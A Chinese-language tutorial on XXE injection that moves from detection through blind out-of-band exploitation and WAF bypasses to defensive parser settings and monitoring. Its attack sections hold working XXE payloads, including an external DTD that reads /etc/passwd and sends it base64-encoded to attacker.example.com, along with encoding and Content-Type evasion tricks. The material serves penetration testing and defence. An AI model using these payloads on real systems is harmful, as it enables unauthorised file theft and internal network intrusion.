1. XXE为什么值得单独拎出来练:触发链路与攻击面
做安全的人基本都有共识:XXE(XML外部实体注入)属于那种“看着简单、实际水很深”的漏洞类型。很多入门教程只讲一个有回显的文件读取Payload,导致不少人在实战中一碰到盲注、WAF拦截、解析器版本差异就直接卡住。这篇文章我想把XXE从浅层探测到深层利用的完整链路串一遍,重点放在盲注和绕过这两个真正拉差距的方向,最后给出可落地的防御清单。
先花点时间说清楚XXE的触发链路。XXE的本质是XML解析器在处理文档时,对外部实体声明和外连行为没有做严格限制。攻击者通过构造DOCTYPE区域中的ENTITY、NOTATION、外部参数实体,让解析器在解析阶段主动去访问攻击者指定的外部资源。这个“访问动作”会发生在文件读取、目录列举、网络请求、命令执行等多个层面,所以影响范围很大——从任意文件读到内网SSRF,再到部分场景下的RCE,都有可能。
攻击面在真实项目里比很多人预想的要普遍:
- 文件上传类接口,尤其是上传
.xml、.svg、.docx、.xlsx这类格式的入口; - 接口请求头为
Content-Type: application/xml或text/xml的POST接口; - 前后端数据交互中走了XML-RPC协议的旧系统;
- SOAP WebService接口;
- 某些配置文件解析、导入导出功能,比如用XML做配置备份恢复的场景;
- 第三方组件中间层解析,例如有的Java框架会自动解析请求体中的XML。
我自己在测试里遇到最多的是两类:一类是文档转换服务,用户上传XML文件后服务端会用解析器读取内容并返回某些字段;另一类是OA或者ERP系统里的数据同步接口,请求体直接是XML,服务端解析后有选择地回显部分结果。这两种场景恰好也对应了有回显和无回显两条利用路线。
很多入门资料把XXE局限在“读/etc/passwd”这一步,这是对漏洞价值的一种严重低估。实际上,一旦能打通外带通道,XXE就能变成内网探测和文件读取的稳定入口,而且它的利用过程往往比SQL注入更安静,因为大部分WAF对XML实体的检测规则并不完善。这也是为什么现在攻防演练中XXE的出镜率越来越高。
2. 先解决有回显的情况:基础探测与常规利用
2.1 第一波探测:经典实体载荷
不管是黑盒还是白盒测试,我的第一步永远是确认解析器是否允许外部实体解析。在本地起一个最简单的XML解析接口(用PHP或Python都行),把下面这个载荷丢进去:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>如果接口返回内容里出现了root:x:0:0:root:/root:/bin/bash一类的行,恭喜你,最基本的路径已经通了。这里的关键点是:实体引用的位置必须和回显位置对齐。很多新手测试不成功,往往不是实体定义有问题,而是实体引用的地方根本不会被服务端输出。所以我在测试时会把实体引用放在多个位置:元素内容、属性值、XML注释外等,哪个位置输出就说明哪个位置可控。
2.2 文件读取的分支判断
file://协议在Windows和Linux下表现不同,需要注意:
- Linux下用
file:///etc/passwd、file:///etc/hosts、file:///proc/self/environ这类路径; - Windows下用
file:///C:/Windows/win.ini或file://C:/Windows/win.ini。
这里有一个容易被忽略的坑:不同解析器对文件协议路径的容错不一样。Java的DocumentBuilderFactory对格式要求比较严格,而PHP的libxml则宽容很多。如果Linux下file:///etc/passwd没回显,可以试试去掉一个斜杠变成file:/etc/passwd,某些解析器也能识别。但别在这些小分支上花太多时间,真正决定能不能继续往下走的,是解析器会不会报错、报错信息会不会回显。
2.3 巧用报错:把回显从“无”变“有”
有些场景下解析器不会输出实体内容,但会把解析失败的报错信息返回给前端。这时候就可以人为制造错误,把目标文件内容“夹带”在错误消息里带出来。我常用的思路是构造一个不存在的DTD文件路径,同时让文件路径拼接目标文件内容:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd SYSTEM "http://evil.example.com/error.dtd"> %dtd; %all; ]> <root>test</root>在这种模式下,外部DTD里会先声明一个引用了%file的实体,再触发一个不存在的文件加载,从而把%file的内容带进错误信息。这个思路的实际价值在于:不依赖接口是否回显实体内容,只要有错误回显就能读取文件。
2.4 有回显情况下的扩展探测面
文件读取通了之后,别急着交报告。有回显的XXE往往还能做更多事:
- 读取应用配置文件,比如
web.xml、application.properties、database.php,为后续攻击寻找账号密码和密钥; - 探测内网端口,利用
http://127.0.0.1:8080/admin这类URL判断内网服务开放情况; - 部分Java环境下可以尝试
gopher://、jar://这类协议做更深的利用,但需要根据解析器类型来选择。
我的建议是:有回显的把文件读取做扎实,记录清楚协议支持范围和解析器类型,这些信息在后面的盲注利用里都是关键素材。
3. 真正拉分的是盲注:外带链路与半盲读取
3.1 为什么盲注是XXE的分水岭
实战中大量XXE并没有直接回显——解析器处理了实体,但结果既不输出在响应体里,也不会触发可见的报错。这类场景下最核心的思路是把数据带出来,也就是Out-of-Band(OOB)外带。盲注XXE的难度不在于构造Payload,而在于两件事:
- 目标环境是否允许对外发起HTTP/DNS请求;
- 你能否在自己的服务器上完整接收并解析外带的数据。
我在测试中遇到的盲注环境大致分三种情况:
- 完全外带型:目标可以访问外网,能主动向攻击者服务器发起HTTP请求,数据可以直接拼在URL里;
- 半外带型:目标能访问外网但不能自由回传数据,或者对路径参数做了过滤,需要配合报错信息把数据带回来;
- 离线型:目标完全不能出网,只能在响应差异上做文章,这个最考验技巧。
在完整开始之前,有一个优先级很高的通用动作:初步探测外连能力。构造一个不含敏感操作的Payload,让目标向你的服务器发起一个请求;只要能收到,说明出网的基础通道已建立,后续的利用就有着落了。
3.2 参数实体与外部DTD的配合
盲注XXE的核心语法和前面的报错利用类似,核心在于参数实体(% entity)和外部DTD的配合。为什么需要外部DTD而不是直接在Payload里写完所有实体定义?因为在某些解析器环境下,参数实体不能直接引用另一个参数实体,或者引用后无法触发解析。外置DTD规避了这些限制,更方便把复杂的逻辑放在自己手里,随时调整:
将我放在你自己的服务器上的evil.dtd的简化版本:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>"> %eval; %exfil;在这个DTD里,%file读取目标文件并转换成Base64,%eval动态声明一个新的实体%exfil,然后把数据拼到请求URL里外带。整个逻辑是:目标服务器加载外部DTD,解析器在解析DTD时执行实体嵌套,最终发起一个带数据的HTTP请求。
而在目标端,Payload大概长这样:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.example.com/evil.dtd"> %dtd; ]> <root>test</root>这里要注意的是,%dtd;是参数实体引用,必须写在DTD区域,不在文档内容里。
3.3 不同语言环境下的外带差异
外带数据时,最容易出问题的是数据内容里的特殊字符。URL中直接拼接文件内容经常被解析器截断或报错,所以我在实际外带前都会做Base64编码转换,把原始数据变成单行无特殊字符的字符串。这个思路在PHP和Java环境下都能用,只是个转换层的问题:
- PHP环境优先使用
php://filter/read=convert.base64-encode/resource=...; - Java环境下没有这么便利的流包装器,通常是先借助
file://读取,再做相应编码处理,或者借助jar协议探路径; - Python的lxml、defusedxml环境通常比较安全,一旦出现漏洞,外带链路和文件读取的配合也需要调整适配。
这里还有个经验:外带URL里的参数名建议保持简短,比如?d=、?f=,不要用长名字。因为在实际利用中,部分WAF或代理会做URL长度限制,参数名一长,数据还没传完就被截断了。我习惯用/?d=配合Base64数据,虽然拿到手后需要手动解码,但稳定性最高。
3.4 不依赖出网的环境:靠响应差异读文件
目标完全不能出网的情况下,外带链路走不通,盲注就变成了更痛苦的逐字符判断。这个思路本质上和SQL盲注的二分法一致,只是判断条件换成了“解析成功与解析失败”、“响应长度差异”等。我把它称为半盲读。
实现思路是:构造一个精心编排的DTD,将目标文件内容与外部实体地址的路径拼接,在满足条件时让解析器访问一个特定子域名,否则访问另一个。不过这种方案的适用条件比较苛刻,需要目标环境对文件内容中的字符集和解析容错度足够高。在真实测试中,我遇到过几次判断成功但因为文件内容里有#号导致URL解析出错的场景,所以发现这个方向往往需要花费相当多的时间。这里给出一种参考文献中常被提及的策略:
- 通过DTD动态决定是否发起某个外部请求;
- 同时请求的目标子域名记录在当前环境下可查的访问日志里;
- 根据是否收到特定请求来判断字符是否匹配。
实际上这个过程很耗时间,读一个几十字符的敏感字段可能就要发几千个请求,如果你在攻防演练期间遇到这种环境,建议先评估投入产出比再进行。作为替代,可以先看下目标环境是否存在已有可交互的响应渠道,比如登录接口的密码错误提示是否包含字段内容,避免直接走进半盲读的死胡同。
3.5 自建接收端的细节
无论是哪种外带方案,接收端都建议用独立域名或子域名,避免和业务混用。我自己常用的是VPS上跑一个简单的HTTP服务,记录所有请求日志,服务端不需要特殊响应内容,只要返回204或200即可。关键是日志里能看到完整的URL路径,这样外带数据才能被准确获取。
4. 绕过思路:协议限制、编码变形与解析器差异
4.1 入门级对抗:过滤关键字的绕过
现实场景中很多系统已经做了一层基础的防御,最常见的是过滤<!DOCTYPE、ENTITY、SYSTEM这些大小写组合,或者把file://直接替换成空字符。绕过的思路分为几个方向:
大小写与空白字符变形:有些过滤规则只匹配常见写法,比如<!doctype、<!ENTITY写成小写,或者标签内加入额外的空白字符、制表符,就可能躲过规则。这种方法比较基础,但实际效果取决于解析器的容错能力,Java和Python的解析器对大小写的敏感度不同。
编码绕过:XML声明里手动指定编码,例如UTF-16。部分WAF在解析时默认按UTF-8处理,扫描不到实体定义,而目标解析器在解析实体时可以正确解析UTF-16内容。这个绕过方式在针对Java环境的实战中很常用。准备好脚本将Payload转为UTF-16对应编码格式,例如UTF-16BE + BOM,直接发送即可。
用参数实体代替一般实体:有些过滤规则只拦一般实体<!ENTITY xxe SYSTEM ...>,但漏掉参数实体<!ENTITY % xxe SYSTEM ...>。盲注场景下本来就用参数实体更多,所以这个绕过思路在盲注里天然有效。
4.2 协议层面的灵活切换
不少防御策略只封掉了file://协议,但XXE能够访问的远不止文件协议。根据解析器支持情况,可以尝试的协议包括:
| 协议 | 典型用途 | 适用环境 |
|---|---|---|
| file:// | 本地文件读取 | 大多数解析器 |
| http:// | 外带/端口探测 | 大多数解析器 |
| ftp:// | 外带/端口探测 | Java的某些解析器 |
| gopher:// | 扩展SSRF利用 | Java,受版本限制 |
| jar:// | 间接文件读取 | Java |
| netdoc:// | 本地文件读取 | Java |
| php:// | 流包装器操作 | PHP |
| expect:// | 命令执行 | PHP,需启用expect扩展 |
我遇到过不少过滤了file://但放行netdoc://的场景,直接绕过去读取了应用配置文件。所以在测试时,不要被单一协议绑死,多换几个协议试一遍,记录每个协议在当前解析器下的表现。协议层面的灵活性也是XXE难以被彻底防御的原因之一。
4.3 解析器特判的绕过思路
不同语言的XML解析器对外部实体的处理策略不同,绕过思路也要跟着调整。这里列几个我实测过的有意思的差异:
- PHP的libxml:默认对外部实体解析非常宽松,只要没有显式关闭,
file://、http://基本都能用。但要注意,PHP的simplexml_load_string对DOCTYPE的处理分支很多,不同PHP版本行为不一致,有时候需要在Payload格式上略作调整。 - Java的DocumentBuilderFactory:旧版本默认允许外部实体,新版本需要显式配置才能关闭。Java环境对
jar://协议的支持让它能间接读取一些普通file://访问不到的资源。 - Python的lxml:lxml在带
resolve_entities参数时才有实体解析行为,而标准库的xml.etree默认相对安全。所以Python环境下的XXE大多出现在老代码、防御配置缺失或使用了不安全的替代解析库时。
4.4 利用过程中容易被忽视的细节点
在绕WAF的条件下做真实攻击测试,有几个细节极其重要,但很少在公开教程中看到:
分块传输与Content-Type混淆:部分安全网关只检测application/xml的请求体,但如果把Content-Type改成application/json,同时保持Body内容为XML格式,部分服务端框架会自动进行Content-Type兼容解析,从而绕过检测。这个手法取决于服务端的框架配置,不是所有接口都适用。
CDATA包裹过长的外带内容:如果我外带文件内容时Base64的字符串太长,导致请求超出WAF的长度阈值,可以考虑降低解码密度、分段传输或者改用DNS外带。DNS外带是把数据拼到子域名前缀里,让目标服务器发起DNS解析请求,接收方在DNS日志里读取数据。这种方式最隐蔽,也最不容易被HTTP层的WAF拦截,但数据长度受限,只能逐段带。
多个Payload轮流打:很多WAF的检测规则是针对单包请求的,如果只发一次可能被某个规则命中。合理的方式是准备多个变体Payload,分散在不同的请求里发送,但注意控制频率避免触发其他的异常风控。
5. 防御端落地:修复配置与纵深防御
5.1 各语言解析库的关闭配置
防御的根基是在解析XML的地方显式禁止外部实体。不同语言和解析库的配置差异很大,我根据实际项目中最常见的场景整理了一份配置参考:
Java使用DocumentBuilderFactory时,关键配置是关闭外部通用实体、外部参数实体和DTD:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setNamespaceAware(true);如果业务确实需要支持DTD,至少要关闭外部实体加载:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);PHP的libxml从5.4.0开始默认不解析外部实体,但老代码里可能会显式或隐式开启。比较稳妥的做法是在解析前强制设置:
libxml_disable_entity_loader(true); $xml = simplexml_load_string($input);PHP 8.0及以后版本建议使用libxml_set_external_entity_loader()来做更精细的控制,或者直接使用XMLReader自定义解析选项。
Python的xml.etree.ElementTree一般安全,但Python需要留意:
from defusedxml import ElementTree tree = ElementTree.fromstring(xml_data)C#/.NET使用XmlReaderSettings限制:
var settings = new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null };Node.js使用libxmljs时,在解析选项中将nonet设为true,同时关闭dtdload和dtdvalid。
这些配置项看起来很多,但真正落到工程里就是写一个统一的XML解析工具类,所有业务代码都走这一个入口,避免不同业务各自解析导致遗漏。
5.2 输入侧过滤与业务规避
技术上,比起逐个解析库做配置,更彻底的方案是在业务层面减少XML解析的使用。现代JSON已经能覆盖绝大多数数据交换场景,老旧系统引入XML解析的唯一理由往往是历史兼容。对于必须保留XML的场景,可以做这样的输入约束:
- 在请求网关上过滤
<!DOCTYPE、<!ENTITY等关键字,但要基于解析器语义做过滤而非简单正则,否则容易被变形绕过; - 解析前校验Content-Type,只允许预期的合法格式;
- 限制XML文档大小和嵌套深度,避免解压炸弹和深层嵌套导致的资源耗尽;
- 对解析后的内容做输出编码,防止XSS和响应拆分等二次问题。
5.3 运行时检测与监控
配置修复和输入过滤属于事前防御,运行时检测则负责兜底。我在防守侧项目里会重点监控这几类异常行为:
- 某一个客户端在短时间内反复发起带XML实体的请求;
- 请求方向上出现
file://、gopher://等非业务协议特征; - 服务端日志中出现目标为外部域名或内网IP的异常连接;
- 解析器抛出的错误类型集中出现在
Entity、DOCTYPE相关位置。
配合这些监控特征,在WAF或IDS上做告警规则,可以达到“防不住时至少能发现”的效果。对于攻防演练期间的红队来说,能快速判断是否触发告警也是衡量Payload隐蔽性的标准。
5.4 常规检测方案(给防御侧自查)
如果想在存量系统中自查是否存在历史遗留的XXE问题,可以走两条路线:静态扫描和动态扫描。
静态方面,用Semgrep或CodeQL针对统一解析工具的调用点做规则匹配——凡是没有显式关闭外部实体的调用都列为高风险。CodeQL规则的本质是数据流分析,从外部输入到XML解析器之间的路径,只要路径可达且没有经过安全配置,就算一个候选点。
动态方面,可以准备一份自动化测试用例库,包含二十种常见Payload,覆盖UTF-16编码、参数实体、外部DTD、Doctype大小写变形等,在测试环境批量发送并检查响应是否符合预期。这个测试用例库建议随项目长期维护,每次解析库升级后都重新跑一遍。
6. 实战经验:我踩过的坑和最终建议
从探测到利用再到防御,整个链路走下来,我最大的感触是:XXE漏洞的攻防对抗本质上是解析器语义差异的对抗。攻击方在利用解析器特性做数据外带,防御方在做解析前拦截,双方都在围绕“解析器到底怎么理解这段XML”来博弈。所以,无论你站在哪一侧,第一步都是搞清楚目标环境到底用的什么解析器、什么版本、什么安全配置。
几个具体的经验,分享给正准备上手或者已经在实战的同行:
第一,测试前一定要确认目标属于授权范围。这一点怎么强调都不为过。XXE一旦打通外带通道,可以直接读取服务器上的敏感文件,也可以内网探测打穿边界网络。在攻防演练中这是拿分点,在非授权环境下这是高危行为。我见过一些新手在练习平台上跑通了盲注XXE,转头就对外网目标进行尝试,这是极其危险的,一定守住底线。
第二,盲注外带的接收端域名要做好隐私防护。接收端域名不要绑定在个人真实身份信息下,尽量用一次性VPS或独立子域名。因为测试期间你的域名可能会出现在目标服务器的DNS解析记录里,如果目标环境有内网威胁情报系统,这些记录会保留一段时间,后续可能会给你带来一些不必要的解释成本。
第三,外带数据要考虑特殊字符问题。我最常用的策略是把外带数据做两次编码:Base64做一次,再URL编码做一次。虽然Payload会变长,但能够在最大程度上避免数据被解析器截断或过滤。这种双重编码会加重WAF的长度判断压力,所以具体看场景选择,不必教条。
第四,防御侧的修复要按优先级排序。如果你负责防守侧且存量系统很多,我建议执行顺序是:
- 先做全局解析工具的代码审计,统一修复主链路;
- 把不必要使用XML的接口改成JSON交互;
- 在网关上启用针对XML实体特征的检测规则;
- 对高价值应用(支付、登录、权限管理)做逐个测试排查。
我自己在推进这些调整时,发现最顺利的是先和业务方确认“这个接口的XML解析是否真的必要”,通常会有不少接口可以直接换掉。剩下的核心接口再重点做解析器加固,质量和效率都能兼顾。
第五,这个方向后续可以扩展的新方向。XXE和SSRF在利用链路上高度重叠,很多企业内网的安全域隔离就是被看似不起眼的XML文件上传洞打穿的。如果你在搞红队和渗透测试,建议把XXE和外带平台结合起来,多做几个不同协议的外带通道,不要只依赖HTTP。DNS外带和FTP外带在某些场景下,往往比HTTP好用得多——DNS流量在内网几乎是无法封禁的,而FTP协议在一些低版本Java环境中绕过检测的效果也很不错。
最后再说一句:XXE不是一个“读一下文件就完事”的漏洞,它更像是攻入内网环境的一扇门。不要因为看到以为回显就停下,把盲注链路、编码绕过、协议切换这些思路全部过一遍,你才会真正理解为什么这个漏洞在Writeups和演练中的出现频率一直居高不下。希望这篇文章能让你在下一个项目中直接少踩几个坑。